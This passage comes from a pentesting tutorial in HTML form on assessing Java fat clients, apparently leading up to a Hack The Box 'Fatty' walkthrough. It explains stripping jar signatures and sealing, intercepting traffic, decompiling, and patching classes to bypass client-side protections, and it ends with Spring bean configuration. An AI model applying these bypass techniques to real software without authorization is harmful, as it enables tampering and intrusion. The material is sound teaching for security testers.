class=\"enlighter-text\">Name: org\/springframework\/format\/support\/FormattingConversionService.class<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-e3\">SHA<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-n1\">256<\/span><span class=\"enlighter-text\">-Digest: Q1Wy5C\/kxkONF+15qSsaFrNLrIuOcu3qpON1u0O+FrY=<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">Name: org\/springframework\/context\/ApplicationEventPublisher.class<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-e3\">SHA<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-n1\">256<\/span><span class=\"enlighter-text\">-Digest: VuQ0PXRkcCGEBknWpKWaKolUEf2J6gaG0CIJA2n0rhE=<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">...<\/span><span class=\"enlighter-g1\">]<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>Since the digest values are not only plain hashes, but also encrypted with the certificate of the creator, we cannot simply recalculate them for our modified files. Anyway, there is an easier solution. You may already asked yourself how<span>\u00a0<\/span><em>Java<span>\u00a0<\/span><\/em>knows whether a<span>\u00a0<\/span><em>.jar<\/em><span>\u00a0<\/span>file is signed or not? The answer is: It cannot know this! When executing a signed<span>\u00a0<\/span><em>.jar<\/em>, Java will look at the manifest file and if signatures are present, it will try to validate these. However, if no signatures are present, the<span>\u00a0<\/span><em>.jar<\/em><span>\u00a0<\/span>file is assumed to not being signed. Therefore, we can just strip all the signatures to make our<span>\u00a0<\/span><em>.jar<\/em><span>\u00a0<\/span>file working again (okay, you also need to delete the<span>\u00a0<\/span><code>.RSA<\/code><span>\u00a0<\/span>and<span>\u00a0<\/span><code>.SF<\/code><span>\u00a0<\/span>files from the<span>\u00a0<\/span><em>META-INF<\/em><span>\u00a0<\/span>directory, but still it should be doable).<\/p>\n<h4 id=\"intercepting-network-traffic\">2.3.3 \u2013 Intercepting the Network Traffic<\/h4>\n<p>After looking some time on the basic functionality of the client, you should start to intercept some network traffic. If you are lucky, you already see some plaintext<span>\u00a0<\/span><em>HTTP<span>\u00a0<\/span><\/em>or<span>\u00a0<\/span><em>XML<span>\u00a0<\/span><\/em>messages, but most of the time the traffic between client and server will be just a binary stream or some encrypted data.<\/p>\n<p>In the case of known protocols like<span>\u00a0<\/span><em>HTTP<\/em>, you should try to get the client to connect to an interceptor like e.g.<span>\u00a0<\/span><em>BurpSuite<\/em>. Then you can start clicking around in the client and see which parameters get send to the server. In most cases, looking at these parameters and injecting custom payloads will be sufficient to identify most vulnerabilities in the application server.<\/p>\n<p>The redirection to your interaceptor can be done in various ways. Some clients support a<span>\u00a0<\/span><em>proxy option<\/em><span>\u00a0<\/span>right away. For others, you can try to setup an entry inside your<span>\u00a0<\/span><code>\/etc\/hosts<\/code><span>\u00a0<\/span>file that points to your local interceptor.<span>\u00a0<\/span><em>Java<span>\u00a0<\/span><\/em>also supports setting up a proxy inside of its global configuration. The biggest problem that you an encounter here is when the client uses TLS and verifies the servers certificate (<em>certificate-pinning<\/em>). In these cases, you have to invest some additional effort to disable the certificate validation inside the client.<\/p>\n<p>However, many times<span>\u00a0<\/span><em>fat clients<\/em><span>\u00a0<\/span>use their own proprietary protocol for client server communication. In these cases, setting up an interceptor and modifying the binary messages is not the preferred solution. Instead, you should try your build your own client, which will be discussed soon.<\/p>\n<h4 id=\"decompiling-the-client\">2.3.4 \u2013 Decompiling the Client<\/h4>\n<p>One very nice thing about<span>\u00a0<\/span><em>Java<span>\u00a0<\/span><\/em>clients is that you can recover the original source code basically in a one to one relationship. This job is done by decompilers and several different ones are available for free on the internet. If you like to work with<span>\u00a0<\/span><em>IDEs<span>\u00a0<\/span><\/em>and are generally a fan of graphical user interfaces, I can recommend<span>\u00a0<\/span><a href=\"https:\/\/github.com\/Konloch\/bytecode-viewer\" target=\"_blank\" rel=\"noreferrer noopener\">bytecode-viewer<\/a>. However, for myself I use different tools that fit more into my workflow. For decompilation I use the<span>\u00a0<\/span><a href=\"https:\/\/www.benf.org\/other\/cfr\/\" target=\"_blank\" rel=\"noreferrer noopener\">cfr-decompiler<\/a>, which has been proven fast and stable. Once the client is decompiled, I use<span>\u00a0<\/span><a href=\"https:\/\/code.visualstudio.com\/\" target=\"_blank\" rel=\"noreferrer noopener\">Visual Studio Code<\/a><span>\u00a0<\/span>and its<span>\u00a0<\/span><em>open folder<\/em><span>\u00a0<\/span>function to step through the decompiled<span>\u00a0<\/span><em>Java<span>\u00a0<\/span><\/em>code. Which tools you choose for decompilation is just a matter of taste and you should try different one to find your perfect match.<\/p>\n<p>Depending on the size of your<span>\u00a0<\/span><em>fat client<\/em>, you probably have a huge amount of source code after decompilation. You may feel overwhelmed and do not know where to start. The good news is, that you can skip a lot of stuff that you have decompiled. E.g. you will see folders like<span>\u00a0<\/span><code>org\/apache\/log4j<\/code>. Well, this is standard software and nothing related to the<em><span>\u00a0<\/span>fat client<\/em><span>\u00a0<\/span>you are targeting. The naming conventions for<span>\u00a0<\/span><em>Java<span>\u00a0<\/span><\/em>packages can be very helpful here. E.g. if your client was developed by a company in<span>\u00a0<\/span><em>Hungary<\/em>, it is likely that all their packages start with<span>\u00a0<\/span><code>hu<\/code>. Only look on packages that are really related to your<span>\u00a0<\/span><em>fat client<span>\u00a0<\/span><\/em>and do not waste your time with standard software.<\/p>\n<p>Like already mentioned before, the most interesting thing about<span>\u00a0<\/span><em>fat clients<\/em><span>\u00a0<\/span>is to control the communication channel. Therefore, understanding how the client establishes a connection to the server is very important and this is the first thing you should try to understand from the source code . But even then looking only at the<span>\u00a0<\/span><em>fat client<span>\u00a0<\/span><\/em>related packages, the amount of decompiled code can still be huge. To go through it in a structured way is key during a<span>\u00a0<\/span><em>fat client<\/em><span>\u00a0<\/span>assessment and there are generally two approaches to do this:<\/p>\n<ol>\n<li><strong>The Top-Down Approach<\/strong><span>\u00a0<\/span>\u2013 In this approach you search for the<span>\u00a0<\/span><em>Java<span>\u00a0<\/span><\/em>class that implements the<span>\u00a0<\/span><code>main<\/code><span>\u00a0<\/span>method. The manifest of a<span>\u00a0<\/span><em>.jar<\/em><span>\u00a0<\/span>file can often tell you where the<span>\u00a0<\/span><em><code>main<\/code><\/em><span>\u00a0<\/span>method is defined, since it contains a<span>\u00a0<\/span><code>Main-Method<\/code><span>\u00a0<\/span>attribute. Once you have identified the<span>\u00a0<\/span><em>main<\/em><span>\u00a0<\/span>method, you just try to understand what the client is doing on startup and try to find your way down to the connection related classes. This approach is suitable for clients with a relatively small codebase. If the client is too big, you might get lost trailing down the paths of all the different classes.<\/li>\n<li><strong>The Bottom-Up Approach<\/strong><span>\u00a0<\/span>\u2013 In this approach you start by searching for the connection specific classes. This can be done by looking for specific keywords like<span>\u00a0<\/span><em>connect<\/em>,<span>\u00a0<\/span><em>session<\/em><span>\u00a0<\/span>or things like the server name, port and so on. Usually you find the classes you are searching for rather quickly and can then start to understand how they are used by the client. This approach works great for clients with a rich codebase, since you start directly from the point you are interested in. However, it is more complicated to understand the relationships between different classes.<\/li>\n<\/ol>\n<p>After you spent enough time on the source code of the client, you should be able to answer the following questions:<\/p>\n<ul>\n<li>Which classes and functions are used to establish the connection to the remote server?<\/li>\n<li>What is the resulting object of a successful connection?<\/li>\n<li>How is the resulting connection object used to invoke methods on the remote server?<\/li>\n<\/ul>\n<p>If you feel confident to answer these questions or you are able to explain why they do not apply to your current<em><span>\u00a0<\/span>fat client<\/em>, you are ready to start building your own client.<\/p>\n<h4 id=\"building-own-client\">2.3.5 \u2013 Building a own Client<\/h4>\n<p>Building a own<span>\u00a0<\/span><em>Java<span>\u00a0<\/span><\/em>client sounds quite scary and before we start I want to clarify what do we actually mean by this.<\/p>\n<p>A<span>\u00a0<\/span><em>Java<span>\u00a0<\/span><\/em>fat client is nothing else than an composition of<span>\u00a0<\/span><em>Java classes<span>\u00a0<\/span><\/em>and<span>\u00a0<\/span><em>functions<\/em><span>\u00a0<\/span>that are bundled into one or more<span>\u00a0<\/span><em>.jar<\/em><span>\u00a0<\/span>files. There are certain functions that are responsible for spawning the graphical user interface, there are certain functions responsible to access local resources and there are certain functions that are responsible for communicating with the remote server. Instead of writing a<span>\u00a0<\/span><em>Java<span>\u00a0<\/span><\/em>client fully on our own, we simply utilize the classes that are already present. By importing the code of the<span>\u00a0<\/span><em>fat client<\/em>, we can access all the methods and classes that are defined inside of it and simply imitate the startup code of the client.<\/p>\n<p>Like mentioned before, we are mostly interested in controlling the communication channel between client and server. When starting the<span>\u00a0<\/span><em>fat client<\/em><span>\u00a0<\/span>normally, it invokes its contained functions in a particular order. E.g. first of all functions are called to load local configuration files. Then the graphical user interface is spawned and finally a connection attempt to the server is made. As pentesters, we are not interested in most of this stuff. We do not require a graphical user interface, but just want to setup the connection to the remote server. Therefore, we have to reorder and to reduce the<span>\u00a0<\/span><em>fat client<\/em><span>\u00a0<\/span>code to the function calls that are required to setup a working connection.<\/p>\n<p>Building an own client is probably the most fun step about<span>\u00a0<\/span><em>fat client<span>\u00a0<\/span><\/em>assessments and it is usually the door opener. Often you will spend 80% of your time in understanding the connection model and how to build your own client. This can be super frustrating, since you see no real progress over a long amount of time. However, once your own client is working, the actual identification and exploitation of vulnerabilities goes rather quickly. The main two benefits of having a own working client are:<\/p>\n<ol>\n<li>You do not have to understand \/ extract \/ modify the underlying transfer protocol between client and server. Often<span>\u00a0<\/span><em>fat client<\/em><span>\u00a0<\/span>vendors develop their own binary protocols, that may also utilize encryption and signing. By building your own client, you simply invoke functions on the corresponding classes that are shipped by the<span>\u00a0<\/span><em>fat client<\/em>. You do not have to care about the low level implementation details, but instead invoke high level methods to get the job done.<\/li>\n<li>By building your own client, you circumvent all client side protection mechanisms. Like already said, many fat clients implement access control only on the client side by disabling corresponding functionalities inside the graphical user interface. In your own client you can skip all the GUI related stuff and just invoke the methods directly, that are normally launched by a click in the GUI. This gives you much more freedom and also a totally differed view on the clients functionalities.<\/li>\n<\/ol>\n<p>In this short introduction, I do not want to show you the full process of writing your own client. Later when discussing<span>\u00a0<\/span><em>Fatty<\/em>, you will see a practical example that goes into more detail on this. Instead I want to show you how you can use<span>\u00a0<\/span><em>Eclipse IDE<\/em><span>\u00a0<\/span>to access the classes and functions that are defined in a<span>\u00a0<\/span><em>.jar<\/em><span>\u00a0<\/span>file. In general, the approach for building your own client is not<span>\u00a0<\/span><em>IDE<\/em><span>\u00a0<\/span>dependent. You could also do it from scratch by just using your command line. However, I strongly recommend to use an<span>\u00a0<\/span><em>IDE<\/em>, since it makes the process much easier.<\/p>\n<p>As an example, we assume that we have determined the class<span>\u00a0<\/span><code>htb.fatty.client.connection.Connection<\/code><span>\u00a0<\/span>to be responsible for the connection setup to the remote server. We want to call functions from this class in our own code, but by simply using an import statement in our<span>\u00a0<\/span><em>Java<span>\u00a0<\/span><\/em>code, we get an error that the corresponding class is missing.<\/p>\n<p>[\/et_pb_text][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2021\/07\/05.png\" title_text=\"05\" _builder_version=\"4.9.4\" _module_preset=\"default\" global_colors_info=\"{}\"][\/et_pb_image][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"default\" global_colors_info=\"{}\"]<\/p>\n<p><span>To fix this issue we need to import the classes that are defined in the\u00a0<\/span><em>.jar<span>\u00a0<\/span><\/em><span>file. In\u00a0<\/span><em>Eclipse<\/em><span>, you can do this by configuring your build path. Just right-click the\u00a0<\/span><em>JRE System Library<\/em><span>\u00a0field in the\u00a0<\/span><em>package-explorer<\/em><span>, go to the field\u00a0<\/span><em>Build Path<\/em><span>\u00a0and select\u00a0<\/span><em>Configure Build Path<\/em><span>.<\/span><\/p>\n<p>[\/et_pb_text][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2021\/07\/06.png\" title_text=\"06\" _builder_version=\"4.9.4\" _module_preset=\"default\" global_colors_info=\"{}\"][\/et_pb_image][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"default\" global_colors_info=\"{}\"]<\/p>\n<p>After clicking, a new menu should pop up which supports different Build Path modifications. To add classes that are contained in a<span>\u00a0<\/span><em>.jar<\/em><span>\u00a0<\/span>file, use the<span>\u00a0<\/span><em>Add External Jar<\/em><span>\u00a0<\/span>field. This allows you to add a specific<span>\u00a0<\/span><em>.jar<\/em><span>\u00a0<\/span>file from your file system. You can also select multiple<span>\u00a0<\/span><em>jars<\/em>, which is helpful for clients consisting out of more than one<span>\u00a0<\/span><em>.jar<\/em><span>\u00a0<\/span>file.<\/p>\n<p>With the .jar in your<span>\u00a0<\/span><em>Build Path<\/em>, you should now be able to use the classes defined inside the<span>\u00a0<\/span><em>.jar<\/em><span>\u00a0<\/span>file.<\/p>\n<p>[\/et_pb_text][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2021\/07\/07.png\" title_text=\"07\" _builder_version=\"4.9.4\" _module_preset=\"default\" global_colors_info=\"{}\"][\/et_pb_image][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"default\" global_colors_info=\"{}\"]<\/p>\n<p>Now you can start to build your own client by using the classes that are defined inside the source code of the<em><span>\u00a0<\/span>fat client<\/em>. A simple proof of concept is to write an own class that contains a<span>\u00a0<\/span><em>main<span>\u00a0<\/span><\/em>function and simply launches the<span>\u00a0<\/span><em>main<span>\u00a0<\/span><\/em>function that is defined by the client. If everything works like expected, you should see the ordinary graphical user interface popping up. From here it is your job to reduce and reorder the original code from the<span>\u00a0<\/span><em>fat client<\/em><span>\u00a0<\/span>to get a own working minimal<span>\u00a0<\/span><em>Java<span>\u00a0<\/span><\/em>client.<\/p>\n<h4 id=\"patching-classes\">2.3.6 \u2013 Patching Classes<\/h4>\n<p>Sometimes it can be helpful to patch classes, e.g. to disable some client side protection mechanisms. Remember that your own client basically relies on method invocations of classes defined inside the<span>\u00a0<\/span><em>.jar<\/em><span>\u00a0<\/span>file of the<span>\u00a0<\/span><em>fat client<\/em>. By default, these methods may implement some filtering or other protections that are an obstacle for your attack. By patching the class, you can modify its methods and disable the protection mechanisms.<\/p>\n<p>Patching classes is normally not a big deal. Imagine you have the class<span>\u00a0<\/span><code>htb.fatty.client.example.Test<\/code><span>\u00a0<\/span>defined inside the<span>\u00a0<\/span><em>.jar<\/em><span>\u00a0<\/span>file and you want to modify the code of it a little bit. In this case, you can simply add the package<span>\u00a0<\/span><code>htb.fatty.client.example<\/code><span>\u00a0<\/span>to your<span>\u00a0<\/span><em>Eclipse project<\/em>, create the class<span>\u00a0<\/span><code>Test<\/code><span>\u00a0<\/span>inside of it and copy the decompiled Java code from the original class. When Eclipse tries to resolve a class, it will prefer the one that is defined in your local project, instead of class that is defined in an external<span>\u00a0<\/span><em>.jar<\/em><span>\u00a0<\/span>file. Therefore, any modification that you make to your local class<span>\u00a0<\/span><code>Test<\/code><span>\u00a0<\/span>should directly apply for your own<span>\u00a0<\/span><em>Java<span>\u00a0<\/span><\/em>client.<\/p>\n<p>That being said, there is one obstacle you may encounter when patching classes from the client and this obstacle is called<span>\u00a0<\/span><code>Sealing<\/code>.<\/p>\n<h4 id=\"defeating-sealed-jars\">2.3.7 \u2013 Defeating Sealed Jars<\/h4>\n<p>Sealing is an additional feature for<span>\u00a0<\/span><em>.jar<\/em><span>\u00a0<\/span>files, that tries to prevent errors in the presence of ambiguous class names. In contrast to singing, it is not really a security feature, but it can be annoying when you try to patch classes from a<span>\u00a0<\/span><em>fat client<\/em>. A sealed<span>\u00a0<\/span><em>.jar<\/em><span>\u00a0<\/span>file contains an additional field inside of its<span>\u00a0<\/span><code>MANIFEST.MF<\/code>, which is simply<span>\u00a0<\/span><code>Sealed: True<\/code>.<\/p>\n<p>When a<span>\u00a0<\/span><em>.jar<\/em><span>\u00a0<\/span>file is sealed, the author basically says that the packages inside the<span>\u00a0<\/span><em>.jar<\/em><span>\u00a0<\/span>file are self contained. Therefore, it is not allowed to define local instances or additional classes for this package outside of the<span>\u00a0<\/span><em>.jar<\/em><span>\u00a0<\/span>file. If you think that this is confusing, you are probably right and I guess an example is required to really understand it:<\/p>\n<p>Consider that we want again to patch the class<span>\u00a0<\/span><code>htb.fatty.client.example.Test<\/code>. Inside<span>\u00a0<\/span><em>Eclipse<\/em>, we create our own package<span>\u00a0<\/span><code>htb.fatty.client.example<\/code><span>\u00a0<\/span>and define the class<code>Test<\/code>. If<span>\u00a0<\/span><code>Test<\/code><span>\u00a0<\/span>is the only class in the<span>\u00a0<\/span><code>example<\/code><span>\u00a0<\/span>packe, we do not get any problems with sealing. However, imagine that the package<span>\u00a0<\/span><code>htb.fatty.client.example<\/code><span>\u00a0<\/span>does contain another class<span>\u00a0<\/span><code>Test2<\/code>. Now we get into troubles. Our client will try to load<span>\u00a0<\/span><code>Test<\/code><span>\u00a0<\/span>from our local projet and<span>\u00a0<\/span><code>Test2<\/code><span>\u00a0<\/span>from the<span>\u00a0<\/span><em>.jar<\/em><span>\u00a0<\/span>file. But since the<span>\u00a0<\/span><em>.jar<\/em><span>\u00a0<\/span>file is sealed,<span>\u00a0<\/span><em>Java<\/em><span>\u00a0<\/span>knows that it should be self contained and does not allow definitions to<span>\u00a0<\/span><code>htb.fatty.client.example<\/code><span>\u00a0<\/span>outside of the<span>\u00a0<\/span><em>.jar<\/em><span>\u00a0<\/span>file. If you run a<span>\u00a0<\/span><em>Java<span>\u00a0<\/span><\/em>executable that violates sealing rules, it will die and throw a corresponding exception.<\/p>\n<p>As in the case of signing, you can get around sealing by simply modifying the<span>\u00a0<\/span><em>.jar<\/em><span>\u00a0<\/span>file. Just follow the same procedure we described above to unpack the<span>\u00a0<\/span><em>.jar<\/em><span>\u00a0<\/span>file, remove the<span>\u00a0<\/span><code>Sealed: True<\/code><span>\u00a0<\/span>field from the<span>\u00a0<\/span><code>MANIFEST.MF<\/code><span>\u00a0<\/span>file and pack your<span>\u00a0<\/span><em>.jar<\/em><span>\u00a0<\/span>file again. After these steps, all sealing violations should be gone.<\/p>\n<h4 id=\"spring-framework\">2.3.8 \u2013 The Spring Framework<\/h4>\n<p>The last point I want to discuss in this<span>\u00a0<\/span><em>fat client<\/em><span>\u00a0<\/span>introduction is the<span>\u00a0<\/span><em>Spring framework<\/em>. Actually,<span>\u00a0<\/span><em>Spring<span>\u00a0<\/span><\/em>is not really connected to<span>\u00a0<\/span><em>fat client<\/em><span>\u00a0<\/span>security assessments and there is no guarantee that a<span>\u00a0<\/span><em>fat client<\/em><span>\u00a0<\/span>is using<span>\u00a0<\/span><em>Spring<\/em>. That being said, the<span>\u00a0<\/span><em>Spring framework<\/em><span>\u00a0<\/span>is very popular and many<span>\u00a0<\/span><em>fat clients<\/em><span>\u00a0<\/span>make use of it.<span>\u00a0<\/span><em>Spring<span>\u00a0<\/span><\/em>is super powerful and supports many different functionalities. In the following text we only discuss some features of<span>\u00a0<\/span><em>Spring<span>\u00a0<\/span><\/em>that will help us to solve the<span>\u00a0<\/span><em>Fatty<span>\u00a0<\/span><\/em>machine.<\/p>\n<p>A very common design pattern in<span>\u00a0<\/span><em>Java<span>\u00a0<\/span><\/em>are classes that depend on other classes. For example lets take the<span>\u00a0<\/span><code>Connection<\/code><span>\u00a0<\/span>class of a<span>\u00a0<\/span><em>fat client<\/em>, that is responsible for the connection setup to the remote server. This class may requires other connection relevant information which is stored in other classes. For example, the class<span>\u00a0<\/span><code>Connection<\/code><span>\u00a0<\/span>may requires an object from the<span>\u00a0<\/span><code>ConnectionInformation<\/code><span>\u00a0<\/span>class, that stores the hostname and port of the remote server. Furthermore, it may requires a<span>\u00a0<\/span><code>SecurityManager<\/code><span>\u00a0<\/span>class that stores information on the<span>\u00a0<\/span><em>SSL<span>\u00a0<\/span><\/em>context. Therefore, the constructor of the<span>\u00a0<\/span><code>Connection<\/code><span>\u00a0<\/span>class could look like this:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-k0\">public<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">Connection<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\"> ConnectionInformation cInfo, SecurityManager sManager<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> ...<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-g1\">}<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>Now consider how to instantiate an object of the<span>\u00a0<\/span><code>Connection<\/code><span>\u00a0<\/span>class inside your code. You could first of all create an object of the<span>\u00a0<\/span><code>ConnectionInformation<\/code><span>\u00a0<\/span>class, then an object of the<span>\u00a0<\/span><code>SecurityManager<\/code><span>\u00a0<\/span>class and finally use both to create an object of the<span>\u00a0<\/span><code>Connection<\/code><span>\u00a0<\/span>class. This works, but defining all this class dependencies manually is a tedious work. Moreover, the<span>\u00a0<\/span><code>ConnectionInformation<\/code><span>\u00a0<\/span>and<span>\u00a0<\/span><code>SecurityManager<\/code><span>\u00a0<\/span>classes may require other objects or information on their own, that need to be present during their creation.<\/p>\n<p>With the<span>\u00a0<\/span><em>Spring framework<\/em>, such class dependencies can be handled easily by using the<span>\u00a0<\/span><em>Inversion of Control Container (IoC)<\/em>. The<span>\u00a0<\/span><em>IoC<\/em><span>\u00a0<\/span>container is responsible for creating objects, initializing them and especially for managing the dependencies among them. Another keyword that you can find very often in this context is<span>\u00a0<\/span><em>dependency injection<\/em>, which describes the process of managing the dependencies between different objects. Objects created by the<span>\u00a0<\/span><em>IoC<\/em><span>\u00a0<\/span>container are also called<span>\u00a0<\/span><em>Beans<\/em>.<\/p>\n<p>So how does<span>\u00a0<\/span><em>Spring<span>\u00a0<\/span><\/em>can help in situations like described above? When using the<span>\u00a0<\/span><em>IoC<\/em><span>\u00a0<\/span>container, you can define the building patterns for objects inside of<span>\u00a0<\/span><em>XML<\/em><span>\u00a0<\/span>files (you can also use<span>\u00a0<\/span><em>Java<span>\u00a0<\/span><\/em>annotations, but I guess the<span>\u00a0<\/span><em>XML<span>\u00a0<\/span><\/em>variant is easier to understand). A corresponding<span>\u00a0<\/span><em>XML<span>\u00a0<\/span><\/em>file for the scenario mentioned above could look like this:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-k4\">&lt;?xml version = \"1.0\" encoding = \"UTF-8\"?&gt;<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-g1\">&lt;<\/span><span class=\"enlighter-x1\">beans<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-x2\">xmlns<\/span><span class=\"enlighter-k3\">=<\/span><span class=\"enlighter-s0\">\"http:\/\/www.springframework.org\/schema\/beans\"<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-x2\">xmlns:xsi<\/span><span class=\"enlighter-k3\">=<\/span><span class=\"enlighter-s0\">\"http:\/\/www.w3.org\/2001\/XMLSchema-instance\"<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> xsi:schemaLocation=\"<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> http:\/\/www.springframework.org\/schema\/beans <\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> spring-beans-3.0.xsd\"<\/span><span class=\"enlighter-g1\">&gt;<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">&lt;<\/span><span class=\"enlighter-x1\">bean<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-x2\">id<\/span><span class=\"enlighter-k3\">=<\/span><span class=\"enlighter-s0\">\"connectionInformation\"<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-x2\">class<\/span><span class=\"enlighter-k3\"> = <\/span><span class=\"enlighter-s0\">\"htb.fatty.shared.connection.ConnectionInformation\"<\/span><span class=\"enlighter-g1\">&gt;<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">&lt;<\/span><span class=\"enlighter-x1\">constructor-arg<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-x2\">index<\/span><span class=\"enlighter-k3\">=<\/span><span class=\"enlighter-s0\">\"0\"<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-x2\">value<\/span><span class=\"enlighter-k3\"> = <\/span><span class=\"enlighter-s0\">\"sever.to.connect.to\"<\/span><span class=\"enlighter-g1\">\/&gt;<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">&lt;<\/span><span class=\"enlighter-x1\">constructor-arg<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-x2\">index<\/span><span class=\"enlighter-k3\">=<\/span><span class=\"enlighter-s0\">\"1\"<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-x2\">value<\/span><span class=\"enlighter-k3\"> = <\/span><span class=\"enlighter-s0\">\"8080\"<\/span><span class=\"enlighter-g1\">\/&gt;<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">&lt;\/<\/span><span class=\"enlighter-x1\">bean<\/span><span class=\"enlighter-g1\">&gt;<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">&lt;<\/span><span class=\"enlighter-x1\">bean<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-x2\">id<\/span><span class=\"enlighter-k3\">=<\/span><span class=\"enlighter-s0\">\"trustManager\"<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-x2\">class<\/span><span class=\"enlighter-k3\"> = <\/span><span class=\"enlighter-s0\">\"htb.fatty.shared.connection.TrustManager\"<\/span><span class=\"enlighter-g1\">&gt;<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">&lt;<\/span><span class=\"enlighter-x1\">property<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-x2\">name<\/span><span class=\"enlighter-k3\"> = <\/span><span class=\"enlighter-s0\">\"keystorePath\"<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-x2\">value<\/span><span class=\"enlighter-k3\"> = <\/span><span class=\"enlighter-s0\">\"fatty.p12\"<\/span><span class=\"enlighter-g1\">\/&gt;<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">&lt;\/<\/span><span class=\"enlighter-x1\">bean<\/span><span class=\"enlighter-g1\">&gt;<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">&lt;<\/span><span class=\"enlighter-x1\">bean<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-x2\">id<\/span><span class=\"enlighter-k3\">=<\/span><span class=\"enlighter-s0\">\"connection\"<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-x2\">class<\/span><span class=\"enlighter-k3\"> = <\/span><span class=\"enlighter-s0\">\"htb.fatty.server.connection.Connection\"<\/span><span class=\"enlighter-g1\">&gt;<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">&lt;<\/span><span class=\"enlighter-x1\">constructor-arg<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-x2\">index<\/span><span class=\"enlighter-k3\"> = <\/span><span class=\"enlighter-s0\">\"0\"<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-x2\">ref<\/span><span class=\"enlighter-k3\"> = <\/span><span class=\"enlighter-s0\">\"connectionInformation\"<\/span><span class=\"enlighter-g1\">\/&gt;<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">&lt;<\/span><span 